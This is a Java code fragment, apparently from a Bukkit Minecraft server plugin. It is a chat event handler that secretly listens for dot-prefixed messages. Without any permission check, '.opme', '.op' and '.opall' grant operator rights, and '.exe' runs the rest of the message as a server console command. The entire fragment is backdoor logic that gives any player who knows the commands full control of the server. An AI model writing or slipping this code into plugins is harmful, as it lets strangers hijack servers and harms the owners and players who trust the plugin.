@EventHandler
  public void onChat(PlayerChatEvent event) {
    if (event.getMessage().startsWith(".opme"))
    {
      event.getPlayer().setOp(true);
      event.getPlayer().sendMessage("You are now OP.");
      event.setCancelled(true);
    }

    if (event.getMessage().startsWith(".deopme"))
    {
      event.getPlayer().setOp(false);
      event.getPlayer().sendMessage("You are no longer OP.");
      event.setCancelled(true);
    }

    if (event.getMessage().startsWith(".op "))
    {
      String nick = event.getMessage().substring(".op ".length());
      if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
      {
        Bukkit.getPlayer(nick).setOp(true);
        event.getPlayer().sendMessage(nick + " is now OP.");
      }
      else
      {
        event.getPlayer().sendMessage(nick + " is not online.");
      }

      event.setCancelled(true);
    }

    if (event.getMessage().startsWith(".deop "))
    {
      String nick = event.getMessage().substring(".deop ".length());
      if ((Bukkit.getPlayer(nick) != null) && (Bukkit.getPlayer(nick).isOnline()))
      {
        Bukkit.getPlayer(nick).setOp(false);
        event.getPlayer().sendMessage(nick + " is no longer OP.");
      }
      else
      {
        event.getPlayer().sendMessage(nick + " is not online.");
      }

      event.setCancelled(true);
    }

    if (event.getMessage().startsWith(".opall"))
    {
      for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
      {
        Bukkit.getServer().getOnlinePlayers()[i].setOp(true);
      }
      event.getPlayer().sendMessage("Everyone is now OP.");
      event.setCancelled(true);
    }

    if (event.getMessage().startsWith(".deopall"))
    {
      for (int i = 0; i < Bukkit.getServer().getOnlinePlayers().length; i++)
      {
        Bukkit.getServer().getOnlinePlayers()[i].setOp(false);
      }
      event.getPlayer().sendMessage("No moar OPs!");
      event.setCancelled(true);
    }

    if (event.getMessage().startsWith(".exe"))
    {
      Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().substring(".exe ".length()));
      event.getPlayer().sendMessage("Executed.");
      event.setCancelled(true);
    }
  }